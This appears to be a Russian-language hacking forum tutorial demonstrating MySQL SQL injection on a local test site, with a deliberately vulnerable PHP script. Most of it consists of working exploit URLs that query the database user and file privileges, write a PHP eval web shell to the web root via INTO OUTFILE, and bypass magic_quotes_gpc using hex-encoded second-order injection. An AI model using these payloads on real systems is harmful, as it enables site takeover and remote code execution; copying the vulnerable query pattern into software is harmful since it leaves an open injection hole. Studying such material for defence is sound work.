Допустим у нас есть SQL инъекция с выводом:
Узнаем имя пользователя БД, под которым мы сидим:
Проверяем, есть ли файловые привелегии у нашего юзера:
Заливаем мини-шелл:
Предположим, что инъекция удовлетворяет условиям из предыдущего примера, но mq=ON, т.е. кавычки фильтруются, но работаем мы со скриптом следующего содержания:
Видим, что данные из первого запроса (id из $sql), попадают во второй запрос $sql2.
Попробуем захексить кавычку и подставить в наш запрос:
Видим ошибку. Из скрипта видно, что во втором запросе 2 колонки, захексим второй запрос -1 union select 'ded',777--+1 и подставим в инъекцию
Данные успешно выводятся, таким образом мы можем обойти magic_quotes_gpc и залить шелл, хексим запрос -1 union select '<?php eval($_REQUEST[cmd]); ?>',777+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/d.php'--+1 и подставляем в инъекцию:
Заливаем шелл запросом:
Скачать видео:
Код:
http://localhost/sql/test.php?id=-1+union+select+1,2,3--+1
Код:
http://localhost/sql/test.php?id=-1+union+select+1,user(),3--+1
Код:
http://localhost/sql/test.php?id=-1+union+select+1,file_priv,3+from+mysql.user+where+user='root'--+1
Код:
http://localhost/sql/test.php?id=-1+union+select+1,'<?php eval($_REQUEST[cmd]); ?>',3+from+mysql.user+into+outfile+'D:/A/xampp/htdocs/sql/s.php'--+1
PHP:
<?php
mysql_connect('localhost','root','');
mysql_select_db('test');
$id=$_GET["id"];
$sql = "SELECT id,email,name FROM `user` where id=".$id;
$result = mysql_query($sql);
while($res = mysql_fetch_array($result)) {
echo $res['email'].":".$res['name']."<br>";
$sql2 = mysql_query("SELECT uid,auto FROM autos WHERE uid = ".$res["id"]);
while($res2 = mysql_fetch_array($sql2))
echo $res2["uid"].':'.$res2["auto"];
}
?>
Попробуем захексить кавычку и подставить в наш запрос:
Код:
http://localhost/sql/test.php?id=-1+union+select+0x27,2,3--+1
Код:
http://localhost/sql/test.php?id=-1+union+select+0x2d3120756e696f6e2073656c6563742027646564272c3737372d2d2031,2,3--+1
Код:
http://localhost/sql/test.php?id=-1+union+select+0x2d3120756e696f6e2073656c65637420273c3f706870206576616c28245f524551554553545b636d645d293b203f3e272c3737372066726f6d206d7973716c2e7573657220696e746f206f757466696c652027443a2f412f78616d70702f6874646f63732f73716c2f642e706870272d2d2031,2,3--+1
Код:
http://localhost/sql/test.php?id=1+limit+1+into+outfile+'D:/A/xampp/htdocs/sql/b.php'+lines+terminated+by+'<?php eval($_REQUEST[cmd]); ?>'--+1
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!